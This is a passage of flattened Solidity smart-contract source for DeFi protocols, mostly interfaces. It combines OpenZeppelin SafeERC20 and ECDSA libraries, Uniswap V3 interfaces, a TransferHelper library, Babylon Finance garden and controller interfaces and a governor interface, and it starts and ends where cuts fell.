"../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title The interface for the Uniswap V3 Factory /// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees interface IUniswapV3Factory { /// @notice Emitted when the owner of the factory is changed /// @param oldOwner The owner before the owner was changed /// @param newOwner The owner after the owner was changed event OwnerChanged(address indexed oldOwner, address indexed newOwner); /// @notice Emitted when a pool is created /// @param token0 The first token of the pool by address sort order /// @param token1 The second token of the pool by address sort order /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @param tickSpacing The minimum number of ticks between initialized ticks /// @param pool The address of the created pool event PoolCreated( address indexed token0, address indexed token1, uint24 indexed fee, int24 tickSpacing, address pool ); /// @notice Emitted when a new fee amount is enabled for pool creation via the factory /// @param fee The enabled fee, denominated in hundredths of a bip /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing); /// @notice Returns the current owner of the factory /// @dev Can be changed by the current owner via setOwner /// @return The address of the factory owner function owner() external view returns (address); /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee /// @return The tick spacing function feeAmountTickSpacing(uint24 fee) external view returns (int24); /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order /// @param tokenA The contract address of either token0 or token1 /// @param tokenB The contract address of the other token /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @return pool The pool address function getPool( address tokenA, address tokenB, uint24 fee ) external view returns (address pool); /// @notice Creates a pool for the given two tokens and fee /// @param tokenA One of the two tokens in the desired pool /// @param tokenB The other of the two tokens in the desired pool /// @param fee The desired fee for the pool /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments /// are invalid. /// @return pool The address of the newly created pool function createPool( address tokenA, address tokenB, uint24 fee ) external returns (address pool); /// @notice Updates the owner of the factory /// @dev Must be called by the current owner /// @param _owner The new owner of the factory function setOwner(address _owner) external; /// @notice Enables a fee amount with the given tickSpacing /// @dev Fee amounts may never be removed once enabled /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6) /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount function enableFeeAmount(uint24 fee, int24 tickSpacing) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; import '@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol'; /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter is IUniswapV3SwapCallback { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed) /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.0; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } /// @notice Approves the stipulated contract to spend the given allowance in the given token /// @dev Errors with 'SA' if transfer fails /// @param token The contract address of the token to be approved /// @param to The target of the approval /// @param value The amount of the given token the target will be allowed to spend function safeApprove( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA'); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface IHypervisor { // @param deposit0 Amount of token0 transfered from sender to Hypervisor // @param deposit1 Amount of token0 transfered from sender to Hypervisor // @param to Address to which liquidity tokens are minted // @return shares Quantity of liquidity tokens minted as a result of deposit function deposit( uint256 deposit0, uint256 deposit1, address to ) external returns (uint256); // @param shares Number of liquidity tokens to redeem as pool assets // @param to Address to which redeemed pool assets are sent // @param from Address from which liquidity tokens are sent // @return amount0 Amount of token0 redeemed by the submitted liquidity tokens // @return amount1 Amount of token1 redeemed by the submitted liquidity tokens function withdraw( uint256 shares, address to, address from ) external returns (uint256, uint256); function rebalance( int24 _baseLower, int24 _baseUpper, int24 _limitLower, int24 _limitUpper, address _feeRecipient, int256 swapQuantity ) external; function addBaseLiquidity(uint256 amount0, uint256 amount1) external; function addLimitLiquidity(uint256 amount0, uint256 amount1) external; function pullLiquidity(uint256 shares) external returns ( uint256 base0, uint256 base1, uint256 limit0, uint256 limit1 ); function token0() external view returns (IERC20); function token1() external view returns (IERC20); function pool() external view returns (address); function balanceOf(address) external view returns (uint256); function approve(address, uint256) external returns (bool); function transferFrom( address, address, uint256 ) external returns (bool); function transfer(address, uint256) external returns (bool); function getTotalAmounts() external view returns (uint256 total0, uint256 total1); function pendingFees() external returns (uint256 fees0, uint256 fees1); function totalSupply() external view returns (uint256); function setMaxTotalSupply(uint256 _maxTotalSupply) external; function setDepositMax(uint256 _deposit0Max, uint256 _deposit1Max) external; function appendList(address[] memory listed) external; function toggleWhitelist() external; function transferOwnership(address newOwner) external; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; /** * @title IBabController * @author Babylon Finance * * Interface for interacting with BabController */ interface IBabController { /* ============ Functions ============ */ function createGarden( address _reserveAsset, string memory _name, string memory _symbol, string memory _tokenURI, uint256 _seed, uint256[] calldata _gardenParams, uint256 _initialContribution, bool[] memory _publicGardenStrategistsStewards, uint256[] memory _profitSharing ) external payable returns (address); function removeGarden(address _garden) external; function addReserveAsset(address _reserveAsset) external; function removeReserveAsset(address _reserveAsset) external; function updateProtocolWantedAsset(address _wantedAsset, bool _wanted) external; function updateGardenAffiliateRate(address _garden, uint256 _affiliateRate) external; function addAffiliateReward(address _user, uint256 _reserveAmount) external; function claimRewards() external; function editPriceOracle(address _priceOracle) external; function editMardukGate(address _mardukGate) external; function editGardenValuer(address _gardenValuer) external; function editTreasury(address _newTreasury) external; function editHeart(address _newHeart) external; function editRewardsDistributor(address _rewardsDistributor) external; function editGardenFactory(address _newGardenFactory) external; function editGardenNFT(address _newGardenNFT) external; function editCurveMetaRegistry(address _curveMetaRegistry) external; function editStrategyNFT(address _newStrategyNFT) external; function editStrategyFactory(address _newStrategyFactory) external; function setOperation(uint8 _kind, address _operation) external; function setMasterSwapper(address _newMasterSwapper) external; function addKeeper(address _keeper) external; function addKeepers(address[] memory _keepers) external; function removeKeeper(address _keeper) external; function enableGardenTokensTransfers() external; function editLiquidityReserve(address _reserve, uint256 _minRiskyPairLiquidityEth) external; function gardenCreationIsOpen() external view returns (bool); function owner() external view returns (address); function EMERGENCY_OWNER() external view returns (address); function guardianGlobalPaused() external view returns (bool); function guardianPaused(address _address) external view returns (bool); function setPauseGuardian(address _guardian) external; function setGlobalPause(bool _state) external returns (bool); function setSomePause(address[] memory _address, bool _state) external returns (bool); function isPaused(address _contract) external view returns (bool); function priceOracle() external view returns (address); function gardenValuer() external view returns (address); function heart() external view returns (address); function gardenNFT() external view returns (address); function strategyNFT() external view returns (address); function curveMetaRegistry() external view returns (address); function rewardsDistributor() external view returns (address); function gardenFactory() external view returns (address); function treasury() external view returns (address); function ishtarGate() external view returns (address); function mardukGate() external view returns (address); function strategyFactory() external view returns (address); function masterSwapper() external view returns (address); function gardenTokensTransfersEnabled() external view returns (bool); function bablMiningProgramEnabled() external view returns (bool); function allowPublicGardens() external view returns (bool); function enabledOperations(uint256 _kind) external view returns (address); function getGardens() external view returns (address[] memory); function getReserveAssets() external view returns (address[] memory); function getOperations() external view returns (address[20] memory); function isGarden(address _garden) external view returns (bool); function protocolWantedAssets(address _wantedAsset) external view returns (bool); function gardenAffiliateRates(address _wantedAsset) external view returns (uint256); function affiliateRewards(address _user) external view returns (uint256); function isValidReserveAsset(address _reserveAsset) external view returns (bool); function isValidKeeper(address _keeper) external view returns (bool); function isSystemContract(address _contractAddress) external view returns (bool); function protocolPerformanceFee() external view returns (uint256); function protocolManagementFee() external view returns (uint256); function minLiquidityPerReserve(address _reserve) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (governance/IGovernor.sol) pragma solidity ^0.7.6; pragma abicoder v2; /** * @dev Interface of the {Governor} core. * * _Available since v4.3._ */ abstract contract IGovernor { enum ProposalState {Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed} /** * @dev Emitted when a proposal is created. */ event ProposalCreated( uint256 proposalId, address proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description ); /** * @dev Emitted when a proposal is canceled. */ event ProposalCanceled(uint256 proposalId); /** * @dev Emitted when a proposal is executed. */ event ProposalExecuted(uint256 proposalId); /** * @dev Emitted when a vote is cast. * * Note: `support` values should be seen as buckets. There interpretation depends on the voting module used. */ event VoteCast(address indexed voter, uint256 proposalId, uint8 support, uint256 weight, string reason); /** * @notice module:core * @dev Name of the governor instance (used in building the ERC712 domain separator). */ function name() public view virtual returns (string memory); /** * @notice module:core * @dev Version of the governor instance (used in building the ERC712 domain separator). Default: "1" */ function version() public view virtual returns (string memory); function proposals(uint256 _proposalId) public view virtual returns ( uint256, address, uint256, uint256, uint256, uint256, uint256, uint256, bool, bool ); /** * @notice module:voting * @dev A description of the possible `support` values for {castVote} and the way these votes are counted, meant to * be consumed by UIs to show correct vote options and interpret the results. The string is a URL-encoded sequence of * key-value pairs that each describe one aspect, for example `support=bravo&quorum=for,abstain`. * * There are 2 standard keys: `support` and `quorum`. * * - `support=bravo` refers to the vote options 0 = Against, 1 = For, 2 = Abstain, as in `GovernorBravo`. * - `quorum=bravo` means that only For votes are counted towards quorum. * - `quorum=for,abstain` means that both For and Abstain votes are counted towards quorum. * * NOTE: The string can be decoded by the standard * https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams[`URLSearchParams`] * JavaScript class. */ // solhint-disable-next-line func-name-mixedcase function COUNTING_MODE() public pure virtual returns (string memory); /** * @notice module:core * @dev Hashing function used to (re)build the proposal id from the proposal details.. */ function hashProposal( address[] calldata targets, uint256[] calldata values, bytes[] calldata calldatas, bytes32 descriptionHash ) public pure virtual returns (uint256); /** * @notice module:core * @dev Current state of a proposal, following Compound's convention */ function state(uint256 proposalId) public view virtual returns (ProposalState); /** * @notice module:core * @dev Block number used to retrieve user's votes and quorum. As per Compound's Comp and OpenZeppelin's * ERC20Votes, the snapshot is performed at the end of this block. Hence, voting for this proposal starts at the * beginning of the following block. */ function proposalSnapshot(uint256 proposalId) public view virtual returns (uint256); /** * @notice module:core * @dev Block number at which votes close. Votes close at the end of this block, so it is possible to cast a vote * during this block. */ function proposalDeadline(uint256 proposalId) public view virtual returns (uint256); /** * @notice module:user-config * @dev Delay, in number of block, between the proposal is created and the vote starts. This can be increassed to * leave time for users to buy voting power, of delegate it, before the voting of a proposal starts. */ function votingDelay() public view virtual returns (uint256); /** * @notice module:user-config * @dev Delay, in number of blocks, between the vote start and vote ends. * * NOTE: The {votingDelay} can delay the start of the vote. This must be considered when setting the voting * duration compared to the voting delay. */ function votingPeriod() public view virtual returns (uint256); /** * @notice module:user-config * @dev Minimum number of cast voted required for a proposal to be successful. * * Note: The `blockNumber` parameter corresponds to the snaphot used for counting vote. This allows to scale the * quroum depending on values such as the totalSupply of a token at this block (see {ERC20Votes}). */ function quorum(uint256 blockNumber) public view virtual returns (uint256); /** * @notice module:reputation * @dev Voting power of an `account` at a specific `blockNumber`. * * Note: this can be implemented in a number of ways, for example by reading the delegated balance from one (or * multiple), {ERC20Votes} tokens. */ function getVotes(address account, uint256 blockNumber) public view virtual returns (uint256); /** * @notice module:voting * @dev Returns weither `account` has cast a vote on `proposalId`. */ function hasVoted(uint256 proposalId, address account) public view virtual returns (bool); /** * @dev Create a new proposal. Vote start {IGovernor-votingDelay} blocks after the proposal is created and ends * {IGovernor-votingPeriod} blocks after the voting starts. * * Emits a {ProposalCreated} event. */ function propose( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description ) public virtual returns (uint256 proposalId); /** * @dev Execute a successful proposal. This requires the quorum to be reached, the vote to be successful, and the * deadline to be reached. * * Emits a {ProposalExecuted} event. * * Note: some module can modify the requirements for execution, for example by adding an additional timelock. */ function execute( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) public payable virtual returns (uint256 proposalId); /** * @dev Cast a vote * * Emits a {VoteCast} event. */ function castVote(uint256 proposalId, uint8 support) public virtual returns (uint256 balance); /** * @dev Cast a vote with a reason * * Emits a {VoteCast} event. */ function castVoteWithReason( uint256 proposalId, uint8 support, string calldata reason ) public virtual returns (uint256 balance); /** * @dev Cast a vote using the user cryptographic signature. * * Emits a {VoteCast} event. */ function castVoteBySig( uint256 proposalId, uint8 support, uint8 v, bytes32 r, bytes32 s ) public virtual returns (uint256 balance); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import {IERC1271} from '../interfaces/IERC1271.sol'; import {IBabController} from './IBabController.sol'; /** * @title IStrategyGarden * * Interface for functions of the garden */ interface IStrategyGarden { /* ============ Write ============ */ function finalizeStrategy( uint256 _profits, int256 _returns, uint256 _burningAmount ) external; function allocateCapitalToStrategy(uint256 _capital) external; function expireCandidateStrategy(address _strategy) external; function addStrategy( string memory _name, string memory _symbol, uint256[] calldata _stratParams, uint8[] calldata _opTypes, address[] calldata _opIntegrations, bytes calldata _opEncodedDatas ) external; function updateStrategyRewards( address _strategy, uint256 _newTotalAmount, uint256 _newCapitalReturned ) external; function payKeeper(address payable _keeper, uint256 _fee) external; } /** * @title IAdminGarden * * Interface for amdin functions of the Garden */ interface IAdminGarden { /* ============ Write ============ */ function initialize( address _reserveAsset, IBabController _controller, address _creator, string memory _name, string memory _symbol, uint256[] calldata _gardenParams, uint256 _initialContribution, bool[] memory _publicGardenStrategistsStewards ) external payable; function makeGardenPublic() external; function transferCreatorRights(address _newCreator, uint8 _index) external; function addExtraCreators(address[4] memory _newCreators) external; function setPublicRights(bool _publicStrategist, bool _publicStewards) external; function delegateVotes(address _token, address _address) external; function updateCreators(address _newCreator, address[4] memory _newCreators) external; function updateGardenParams(uint256[12] memory _newParams) external; function verifyGarden(uint256 _verifiedCategory) external; function resetHardlock(uint256 _hardlockStartsAt) external; } /** * @title IGarden * * Interface for operating with a Garden. */ interface ICoreGarden { /* ============ Constructor ============ */ /* ============ View ============ */ function privateGarden() external view returns (bool); function publicStrategists() external view returns (bool); function publicStewards() external view returns (bool); function controller() external view returns (IBabController); function creator() external view returns (address); function isGardenStrategy(address _strategy) external view returns (bool); function getContributor(address _contributor) external view returns ( uint256 lastDepositAt, uint256 initialDepositAt, uint256 claimedAt, uint256 claimedBABL, uint256 claimedRewards, uint256 withdrawnSince, uint256 totalDeposits, uint256 nonce, uint256 lockedBalance ); function reserveAsset() external view returns (address); function verifiedCategory() external view returns (uint256); function canMintNftAfter() external view returns (uint256); function hardlockStartsAt() external view returns (uint256); function totalContributors() external view returns (uint256); function gardenInitializedAt() external view returns (uint256); function minContribution() external view returns (uint256); function depositHardlock() external view returns (uint256); function minLiquidityAsset() external view returns (uint256); function minStrategyDuration() external view returns (uint256); function maxStrategyDuration() external view returns (uint256); function reserveAssetRewardsSetAside() external view returns (uint256); function absoluteReturns() external view returns (int256); function totalStake() external view returns (uint256); function minVotesQuorum() external view returns (uint256); function minVoters() external view returns (uint256); function maxDepositLimit() external view returns (uint256); function strategyCooldownPeriod() external view returns (uint256); function getStrategies() external view returns (address[] memory); function extraCreators(uint256 index) external view returns (address); function getFinalizedStrategies() external view returns (address[] memory); function strategyMapping(address _strategy) external view returns (bool); function keeperDebt() external view returns (uint256); function totalKeeperFees() external view returns (uint256); function lastPricePerShare() external view returns (uint256); function lastPricePerShareTS() external view returns (uint256); function pricePerShareDecayRate() external view returns (uint256); function pricePerShareDelta() external view returns (uint256); /* ============ Write ============ */ function deposit( uint256 _amountIn, uint256 _minAmountOut, address _to, address _referrer ) external payable; function depositBySig( uint256 _amountIn, uint256 _minAmountOut, uint256 _nonce, uint256 _maxFee, address _to, uint256 _pricePerShare, uint256 _fee, address _signer, address _referrer, bytes memory signature ) external; function withdraw( uint256 _amountIn, uint256 _minAmountOut, address payable _to, bool _withPenalty, address _unwindStrategy ) external; function withdrawBySig( uint256 _amountIn, uint256 _minAmountOut, uint256 _nonce, uint256 _maxFee, bool _withPenalty, address _unwindStrategy, uint256 _pricePerShare, uint256 _strategyNAV, uint256 _fee, address _signer, bytes memory signature ) external; function claimReturns(address[] calldata _finalizedStrategies) external; function claimAndStakeReturns(uint256 _minAmountOut, address[] calldata _finalizedStrategies) external; function claimRewardsBySig( uint256 _babl, uint256 _profits, uint256 _nonce, uint256 _maxFee, uint256 _fee, address signer, bytes memory signature ) external; function claimAndStakeRewardsBySig( uint256 _babl, uint256 _profits, uint256 _minAmountOut, uint256 _nonce, uint256 _nonceHeart, uint256 _maxFee, uint256 _pricePerShare, uint256 _fee, address _signer, bytes memory _signature ) external; function stakeBySig( uint256 _amountIn, uint256 _profits, uint256 _minAmountOut, uint256 _nonce, uint256 _nonceHeart, uint256 _maxFee, address _to, uint256 _pricePerShare, address _signer, bytes memory _signature ) external; function claimNFT() external; } interface IERC20Metadata { function name() external view returns (string memory); } interface IGarden is ICoreGarden, IAdminGarden, IStrategyGarden, IERC20, IERC20Metadata, IERC1271 { struct Contributor { uint256 lastDepositAt; uint256 initialDepositAt; uint256 claimedAt; uint256 claimedBABL; uint256 claimedRewards; uint256 withdrawnSince; uint256 totalDeposits; uint256 nonce; uint256 lockedBalance; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {IGarden} from './IGarden.sol'; /** * @title IHeart * @author Babylon Finance * * Interface for interacting with the Heart */ interface IHeart { // View functions function getVotedGardens() external view returns (address[] memory); function heartGarden() external view returns (IGarden); function getGardenWeights() external view returns (uint256[] memory); function minAmounts(address _reserve) external view returns (uint256); function assetToCToken(address _asset) external view returns (address); function bondAssets(address _asset) external view returns (uint256); function assetToLend() external view returns (address); function assetForPurchases() external view returns (address); function lastPumpAt() external view returns (uint256); function lastVotesAt() external view returns (uint256); function tradeSlippage() external view returns (uint256); function weeklyRewardAmount() external view returns (uint256); function bablRewardLeft() external view returns (uint256); function getFeeDistributionWeights() external view returns (uint256[] memory); function getTotalStats() external view returns (uint256[7] memory); function votedGardens(uint256 _index) external view returns (address); function gardenWeights(uint256 _index) external view returns (uint256); function feeDistributionWeights(uint256 _index) external view returns (uint256); function totalStats(uint256 _index) external view returns (uint256); // Non-view function pump() external; function voteProposal(uint256 _proposalId, bool _isApprove) external; function resolveGardenVotesAndPump(address[] memory _gardens, uint256[] memory _weights) external; function resolveGardenVotes(address[] memory _gardens, uint256[] memory _weights) external; function updateMarkets() external; function setHeartGardenAddress(address _heartGarden) external; function updateFeeWeights(uint256[] calldata _feeWeights) external; function updateAssetToLend(address _assetToLend) external; function updateAssetToPurchase(address _purchaseAsset) external; function updateBond(address _assetToBond, uint256 _bondDiscount) external; function lendFusePool(address _assetToLend, uint256 _lendAmount) external; function borrowFusePool(address _assetToBorrow, uint256 _borrowAmount) external; function repayFusePool(address _borrowedAsset, uint256 _amountToRepay) external; function protectBABL( uint256 _bablPriceProtectionAt, uint256 _bablPrice, uint256 _pricePurchasingAsset, uint256 _slippage, address _hopToken ) external; function trade( address _fromAsset, address _toAsset, uint256 _fromAmount, uint256 _minAmount ) external; function sellWantedAssetToHeart(address _assetToSell, uint256 _amountToSell) external; function addReward(uint256 _bablAmount, uint256 _weeklyRate) external; function setMinTradeAmount(address _asset, uint256 _minAmount) external; function setTradeSlippage(uint256 _tradeSlippage) external; function bondAsset( address _assetToBond, uint256 _amountToBond, uint256 _minAmountOut, address _referrer ) external; function bondAssetBySig( address _assetToBond, uint256 _amountToBond, uint256 _amountIn, uint256 _minAmountOut, uint256 _nonce, uint256 _maxFee, uint256 _priceInBABL, uint256 _pricePerShare, uint256 _fee, address _contributor, address _referrer, bytes memory _signature ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 wad) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface ICToken is IERC20 { function mint(uint256 mintAmount) external returns (uint256); function redeem(uint256 redeemTokens) external returns (uint256); function accrueInterest() external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function repayBorrow(uint256 repayAmount) external returns (uint256); function exchangeRateStored() external view returns (uint256); function getCash() external view returns (uint256); function borrowRatePerBlock() external view returns (uint256); function totalBorrows() external view returns (uint256); function underlying() external view returns (address); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function repayBorrowBehalf(address borrower, uint256 amount) external payable returns (uint256); function borrowBalanceCurrent(address account) external view returns (uint256); function supplyRatePerBlock() external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; interface ICEther { function mint() external payable; function borrow(uint256 borrowAmount) external returns (uint256); function 